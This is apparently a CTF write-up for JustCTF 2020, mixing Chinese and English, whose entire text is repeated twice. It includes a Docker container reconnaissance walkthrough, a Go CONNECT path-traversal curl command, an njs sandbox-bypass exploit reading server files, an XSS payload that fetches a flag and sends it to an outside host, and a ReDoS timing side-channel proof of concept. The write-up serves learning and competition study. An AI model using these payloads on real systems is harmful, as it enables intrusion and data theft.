JustCTF 2020 Writeup & 复现笔记
体验超好, 学到很多
这才是高质量的比赛嘛
Really a nice game!
太菜了没做出来几个题qwq
MyLittlePwny (PWN, MISC) (EASY)
`uniq flag`
Forgotten name (MISC, WEB)(EASY)
search jctf.pro
on crt.sh
D0cker (PWN, MISC)(MEDIUM)
First blood :)
回答问题给The Oracle
- CPU:
cat /proc/cpuinfo
- Own container ID:
basename $(cat /proc/1/cpuset)
- Secret file: Crtl-Z (
stty -echo raw;nc xxxx port
when starting nc) - Real path:
mount
- Other's ID: Just start another instance ==
The Oracle's ID:
ls -alc /sys/kernel/slab/sock_inode_cache/cgroup/ | grep -E -o '[0-9a-f]{64}'
How I found it:
find / | grep -E '[0-9a-f]{64}'
, and mount
says cgroup
is a mount so it may contains something outside the container.
Or just find / | grep -E {your container id}
.
接下来就是我没做出来的了 qaq
↓ Unsolved :(
Remote Password Manager (FORE, MISC) (MEDIUM)
Dump mstsc.exe
from the image to extract the screen;
but I failed running volatility imageinfo
...
Go-fs (WEB)(MEDIUM)
GO-FS - intended solution was https://github.com/golang/go/issues/40940
GO-FS - unintended:
$ curl --path-as-is -X CONNECT "http://gofs.web.jctf.pro/../flag"
I have'nt understand the intended solution :(
The unintended solution is from a feature from net/http/server.go
line 2354: // CONNECT requests are not canonicalized.
njs (WEB)(MEDIUM)
A 0-day?!
Right, a 0-day. I got [function Function]
with:
curl http://127.0.0.1:8000/ --data-raw '[{"op": "add", "x": "2"}, {"op": "addEquation", "x": "toString", "y": "split"}, {"op": "addEquation", "x": "toString", "y": "constructor"}, {"op": "result", "x": "return 233"}]'
but it's disabled by njs engine for security.
So this is a bypass, or, a bug.
Exp:
requests.post("http://0z95magh4w9df1tgqtpybrxjakysr9.njs.web.jctf.pro/", json=[{"op": "toString", "x": "constructor"}, {"op": "toString", "x": "constructor"}, {"op": "result", "x": "){return require('fs').readdirSync('/home')+'\\n'+require('fs').readFileSync('/home/RealFlagIsHere1337.txt')})//", "y": "return this"}, {"op": "result"}]).text
From https://github.com/nginx/njs/blob/f5d710bdc0cd4ab51fb26302a6e391c2d17dbb5b/src/njs_function.c#L914 :
There's a string concat:
njs_chb_append_literal(&chain, "(function(");
for (i = 1; i < nargs - 1; i++) {
ret = njs_value_to_chain(vm, &chain, njs_argument(args, i));
if (njs_slow_path(ret < NJS_OK)) {
return ret;
}
...
So make a Function
with "){code})
can bypass the limit and create a function. Then just execute this[result]
.
There're 7 teams solved this, orz :
Baby CSP
code:
<?php
require_once("secrets.php");
$nonce = random_bytes(8);
if(isset($_GET['flag'])){
if(isAdmin()){
header('X-Content-Type-Options: nosniff');
header('X-Frame-Options: DENY');
header('Content-type: text/html; charset=UTF-8');
echo $flag;
die();
}
else{
echo "You are not an admin!";
die();
}
}
for($i=0; $i<10; $i++){
if(isset($_GET['alg'])){
$_nonce = hash($_GET['alg'], $nonce);
if($_nonce){
$nonce = $_nonce;
continue;
}
}
$nonce = md5($nonce);
}
if(isset($_GET['user']) && strlen($_GET['user']) <= 23) {
header("content-security-policy: default-src 'none'; style-src 'nonce-$nonce'; script-src 'nonce-$nonce'");
echo <<<EOT
<script nonce='$nonce'>
setInterval(
()=>user.style.color=Math.random()<0.3?'red':'black'
,100);
</script>
<center><h1> Hello <span id='user'>{$_GET['user']}</span>!!</h1>
<p>Click <a href="?flag">here</a> to get a flag!</p>
EOT;
}else{
show_source(__FILE__);
}
// Found a bug? We want to hear from you! /bugbounty.php
// Check /Dockerfile
Dockerfile
shows this runs php-7.4
with php.ini-development
, which enables Warning.
Obviously ?user
has an XSS. We can get a XSS within 23 bytes like:
<svg/onload=eval(name)>
but it seems impossible to insert a nonce then.
PHP output buffer
PHP has a default output buffer size with 4096 bytes. If this buffer got full it will be printed.
And after an output header()
will fail.
with a invalid $_GET['alg']
, hash()
will show a warning like:
Warning: hash(): Unknown hashing algorithm: qaq in /var/www/html/index.php on line 21
So we can fill the buffer with $_GET['alg']
:
curl 'https://baby-csp.web.jctf.pro/?alg='(string repeat -n 1000 a)'&user='(urlencode '<script>alert(1)')
<script>
name="fetch('?flag').then(e=>e.text()).then(t=>{fetch("https://leohearts.com:2333/"+t, {'mode':'no-cors'})})"
// name => window['name']
location = 'https://baby-csp.web.jctf.pro/?user=%3Csvg%20onload=eval(name)%3E&alg='+'a'.repeat('1000');
</script>
Really a nice challenge.
Computeration Fixed (WEB)(HARD)
A totally offline app?
let notes = JSON.parse(localStorage.getItem('notes')) || [];
function clearNotes(){
notes = [];
localStorage.setItem('notes', '[]');
notesDiv.innerHTML = '';
notesFound.innerHTML='';
}
function insertNote(title, content){
notesDiv.innerHTML += `<details><summary>${title}</summary><p>${content}</p>`
}
for(let note of notes){
insertNote(note.title, note.content);
}
function searchNote(){
location.hash = searchNoteInp.value;
}
onhashchange = () => {
const reg = new RegExp(decodeURIComponent(location.hash.slice(1)));
const found = [];
notes.forEach(e=>{
if(e.content.search(reg) !== -1){
found.push(e.title);
}
});
notesFound.innerHTML = found;
}
function addNote(){
const title = newNoteTitle.value;
const content = newNoteContent.value;
insertNote(title,content);
notes.push({title, content});
localStorage.setItem('notes', JSON.stringify(notes));
newNoteTitle.value = '';
newNoteContent.value = '';
}
It's not a xss challenge.
No server, not URL reflect...then how to get a data from this page?
After a short view I noticed the RegExp search.
Like SQL blind injection
and XML DoS
, RegExp
can also lead to dos like:
Details of the Cloudflare outage on July 2, 2019
An available payload for ECMAScript Engine can be
^[flag_prefix].*.*.*.*.*.*.*.*.*X$
change src
of iframe
to trigger onhashchange
, we can get a ReDOS.
And the next problem is how to measure the execution time.
My approach
In chrome, iframe in another domain will use another process, so we can occupy multiple cores to 100%, then benchmark before and during the redos.
It turned out to work! But it's late in UTC+8 and i went sleep after I tried this(subdomains do not count) ::
Poc:
<head>
</head>
<body>
<iframe style="width:100%;height:100%" src='https://computeration.web.jctf.pro/' onload="go()"></iframe>
<script>
function benchmark() {
var s = new Date().getTime();
'flag{ldwsaiudwhauwduiusdhaudnsa}'.search("^f.*.*.*.*.*.*.*.*.*b$")
var end = new Date().getTime();
return end - s;
}
function report(st){
console.log("https://leohearts.com/s/" + encodeURIComponent(st),
{"mode": "no-cors"}
)
}
function benchmarkReport(){
report(benchmark())
}
function sleep(ms) {
return new Promise(resolve => setTimeout(resolve, ms));
}
function createDummy(i){
list = ['a', 'b', 'c', 'd']
var newif = document.createElement("iframe")
newif.src="http://"+list[i]+".leohearts.com/dummy.html"
document.body.appendChild(newif)
}
report(navigator.hardwareConcurrency)
async function go(){
// createDummy(0)
// createDummy(1)
// createDummy(2)
// createDummy(3)
regex = "^a.*.*.*.*.*.*.*.*.*.*.*b$";
report(benchmark())
report(benchmark())
report(benchmark())
report(benchmark())
report(benchmark())
report(benchmark())
report(benchmark())
console.log("Staring redos on iframe...")
document.querySelector("iframe").src = "https://computeration.web.jctf.pro/#" + encodeURIComponent(regex+"$")
var n = 30
while (n--){
report(benchmark())
}
}
</script>
</body>
The server has 8 cores so I need more domains to occupy CPU. Onmy machine it works.
Official WriteUp
Busy Event Loop (A nice article!)
onhashchange
event blocks page load, so measure time using onload
can get the execution time.
code from official writeup:
async function start(flag){
console.log(flag);
// for every letter in the alphabet, try to extended the flag with it
for(let c of alphabet){
// After 500 ms, remove the iframes, set the URL with the extended flag
// send a message to the parent about found prefix, and reload the document
// to restore the blocked thread
let trynew = setTimeout(async ()=>{
iframe.remove();
iframe2?.remove();
let url = new URL(location.href);
url.searchParams.set('flag', flag+c);
parent.postMessage(flag+c,'*');
await sleep(50);
location.replace(url.href);
return;
}, 500);
// try to find another letter, if it is fast enough, the above setTimeout
// will be cleared, else, it will trigger.
let res = await checkPrefix(flag+c);
clearTimeout(trynew);
}
}
Learned a lot. Thanks to justCatTheFish team for such a high-quality game!
体验超好, 学到很多
这才是高质量的比赛嘛
Really a nice game!
太菜了没做出来几个题qwq
MyLittlePwny (PWN, MISC) (EASY)
`uniq flag`
Forgotten name (MISC, WEB)(EASY)
search jctf.pro
on crt.sh
D0cker (PWN, MISC)(MEDIUM)
First blood :)
回答问题给The Oracle
- CPU:
cat /proc/cpuinfo
- Own container ID:
basename $(cat /proc/1/cpuset)
- Secret file: Crtl-Z (
stty -echo raw;nc xxxx port
when starting nc) - Real path:
mount
- Other's ID: Just start another instance ==
The Oracle's ID:
ls -alc /sys/kernel/slab/sock_inode_cache/cgroup/ | grep -E -o '[0-9a-f]{64}'
How I found it:
find / | grep -E '[0-9a-f]{64}'
, andmount
sayscgroup
is a mount so it may contains something outside the container.Or just
find / | grep -E {your container id}
.
接下来就是我没做出来的了 qaq
↓ Unsolved :(
Remote Password Manager (FORE, MISC) (MEDIUM)
Dump mstsc.exe
from the image to extract the screen;
but I failed running volatility imageinfo
...
Go-fs (WEB)(MEDIUM)
GO-FS - intended solution was https://github.com/golang/go/issues/40940
GO-FS - unintended:
$ curl --path-as-is -X CONNECT "http://gofs.web.jctf.pro/../flag"
I have'nt understand the intended solution :(
The unintended solution is from a feature from net/http/server.go
line 2354: // CONNECT requests are not canonicalized.
njs (WEB)(MEDIUM)
A 0-day?!
Right, a 0-day. I got [function Function]
with:
curl http://127.0.0.1:8000/ --data-raw '[{"op": "add", "x": "2"}, {"op": "addEquation", "x": "toString", "y": "split"}, {"op": "addEquation", "x": "toString", "y": "constructor"}, {"op": "result", "x": "return 233"}]'
but it's disabled by njs engine for security.
So this is a bypass, or, a bug.
Exp:
requests.post("http://0z95magh4w9df1tgqtpybrxjakysr9.njs.web.jctf.pro/", json=[{"op": "toString", "x": "constructor"}, {"op": "toString", "x": "constructor"}, {"op": "result", "x": "){return require('fs').readdirSync('/home')+'\\n'+require('fs').readFileSync('/home/RealFlagIsHere1337.txt')})//", "y": "return this"}, {"op": "result"}]).text
From https://github.com/nginx/njs/blob/f5d710bdc0cd4ab51fb26302a6e391c2d17dbb5b/src/njs_function.c#L914 :
There's a string concat:
njs_chb_append_literal(&chain, "(function(");
for (i = 1; i < nargs - 1; i++) {
ret = njs_value_to_chain(vm, &chain, njs_argument(args, i));
if (njs_slow_path(ret < NJS_OK)) {
return ret;
}
...
So make a Function
with "){code})
can bypass the limit and create a function. Then just execute this[result]
.
There're 7 teams solved this, orz :
Baby CSP
code:
<?php
require_once("secrets.php");
$nonce = random_bytes(8);
if(isset($_GET['flag'])){
if(isAdmin()){
header('X-Content-Type-Options: nosniff');
header('X-Frame-Options: DENY');
header('Content-type: text/html; charset=UTF-8');
echo $flag;
die();
}
else{
echo "You are not an admin!";
die();
}
}
for($i=0; $i<10; $i++){
if(isset($_GET['alg'])){
$_nonce = hash($_GET['alg'], $nonce);
if($_nonce){
$nonce = $_nonce;
continue;
}
}
$nonce = md5($nonce);
}
if(isset($_GET['user']) && strlen($_GET['user']) <= 23) {
header("content-security-policy: default-src 'none'; style-src 'nonce-$nonce'; script-src 'nonce-$nonce'");
echo <<<EOT
<script nonce='$nonce'>
setInterval(
()=>user.style.color=Math.random()<0.3?'red':'black'
,100);
</script>
<center><h1> Hello <span id='user'>{$_GET['user']}</span>!!</h1>
<p>Click <a href="?flag">here</a> to get a flag!</p>
EOT;
}else{
show_source(__FILE__);
}
// Found a bug? We want to hear from you! /bugbounty.php
// Check /Dockerfile
Dockerfile
shows this runs php-7.4
with php.ini-development
, which enables Warning.
Obviously ?user
has an XSS. We can get a XSS within 23 bytes like:
<svg/onload=eval(name)>
but it seems impossible to insert a nonce then.
PHP output buffer
PHP has a default output buffer size with 4096 bytes. If this buffer got full it will be printed.
And after an output header()
will fail.
with a invalid $_GET['alg']
, hash()
will show a warning like:
Warning: hash(): Unknown hashing algorithm: qaq in /var/www/html/index.php on line 21
So we can fill the buffer with $_GET['alg']
:
curl 'https://baby-csp.web.jctf.pro/?alg='(string repeat -n 1000 a)'&user='(urlencode '<script>alert(1)')
<script>
name="fetch('?flag').then(e=>e.text()).then(t=>{fetch("https://leohearts.com:2333/"+t, {'mode':'no-cors'})})"
// name => window['name']
location = 'https://baby-csp.web.jctf.pro/?user=%3Csvg%20onload=eval(name)%3E&alg='+'a'.repeat('1000');
</script>
Really a nice challenge.
Computeration Fixed (WEB)(HARD)
A totally offline app?
let notes = JSON.parse(localStorage.getItem('notes')) || [];
function clearNotes(){
notes = [];
localStorage.setItem('notes', '[]');
notesDiv.innerHTML = '';
notesFound.innerHTML='';
}
function insertNote(title, content){
notesDiv.innerHTML += `<details><summary>${title}</summary><p>${content}</p>`
}
for(let note of notes){
insertNote(note.title, note.content);
}
function searchNote(){
location.hash = searchNoteInp.value;
}
onhashchange = () => {
const reg = new RegExp(decodeURIComponent(location.hash.slice(1)));
const found = [];
notes.forEach(e=>{
if(e.content.search(reg) !== -1){
found.push(e.title);
}
});
notesFound.innerHTML = found;
}
function addNote(){
const title = newNoteTitle.value;
const content = newNoteContent.value;
insertNote(title,content);
notes.push({title, content});
localStorage.setItem('notes', JSON.stringify(notes));
newNoteTitle.value = '';
newNoteContent.value = '';
}
It's not a xss challenge.
No server, not URL reflect...then how to get a data from this page?
After a short view I noticed the RegExp search.
Like SQL blind injection
and XML DoS
, RegExp
can also lead to dos like:
Details of the Cloudflare outage on July 2, 2019
An available payload for ECMAScript Engine can be
^[flag_prefix].*.*.*.*.*.*.*.*.*X$
change src
of iframe
to trigger onhashchange
, we can get a ReDOS.
And the next problem is how to measure the execution time.
My approach
In chrome, iframe in another domain will use another process, so we can occupy multiple cores to 100%, then benchmark before and during the redos.
It turned out to work! But it's late in UTC+8 and i went sleep after I tried this(subdomains do not count) ::
Poc:
<head>
</head>
<body>
<iframe style="width:100%;height:100%" src='https://computeration.web.jctf.pro/' onload="go()"></iframe>
<script>
function benchmark() {
var s = new Date().getTime();
'flag{ldwsaiudwhauwduiusdhaudnsa}'.search("^f.*.*.*.*.*.*.*.*.*b$")
var end = new Date().getTime();
return end - s;
}
function report(st){
console.log("https://leohearts.com/s/" + encodeURIComponent(st),
{"mode": "no-cors"}
)
}
function benchmarkReport(){
report(benchmark())
}
function sleep(ms) {
return new Promise(resolve => setTimeout(resolve, ms));
}
function createDummy(i){
list = ['a', 'b', 'c', 'd']
var newif = document.createElement("iframe")
newif.src="http://"+list[i]+".leohearts.com/dummy.html"
document.body.appendChild(newif)
}
report(navigator.hardwareConcurrency)
async function go(){
// createDummy(0)
// createDummy(1)
// createDummy(2)
// createDummy(3)
regex = "^a.*.*.*.*.*.*.*.*.*.*.*b$";
report(benchmark())
report(benchmark())
report(benchmark())
report(benchmark())
report(benchmark())
report(benchmark())
report(benchmark())
console.log("Staring redos on iframe...")
document.querySelector("iframe").src = "https://computeration.web.jctf.pro/#" + encodeURIComponent(regex+"$")
var n = 30
while (n--){
report(benchmark())
}
}
</script>
</body>
The server has 8 cores so I need more domains to occupy CPU. Onmy machine it works.
Official WriteUp
Busy Event Loop (A nice article!)
onhashchange
event blocks page load, so measure time using onload
can get the execution time.
code from official writeup:
async function start(flag){
console.log(flag);
// for every letter in the alphabet, try to extended the flag with it
for(let c of alphabet){
// After 500 ms, remove the iframes, set the URL with the extended flag
// send a message to the parent about found prefix, and reload the document
// to restore the blocked thread
let trynew = setTimeout(async ()=>{
iframe.remove();
iframe2?.remove();
let url = new URL(location.href);
url.searchParams.set('flag', flag+c);
parent.postMessage(flag+c,'*');
await sleep(50);
location.replace(url.href);
return;
}, 500);
// try to find another letter, if it is fast enough, the above setTimeout
// will be cleared, else, it will trigger.
let res = await checkPrefix(flag+c);
clearTimeout(trynew);
}
}
Learned a lot. Thanks to justCatTheFish team for such a high-quality game!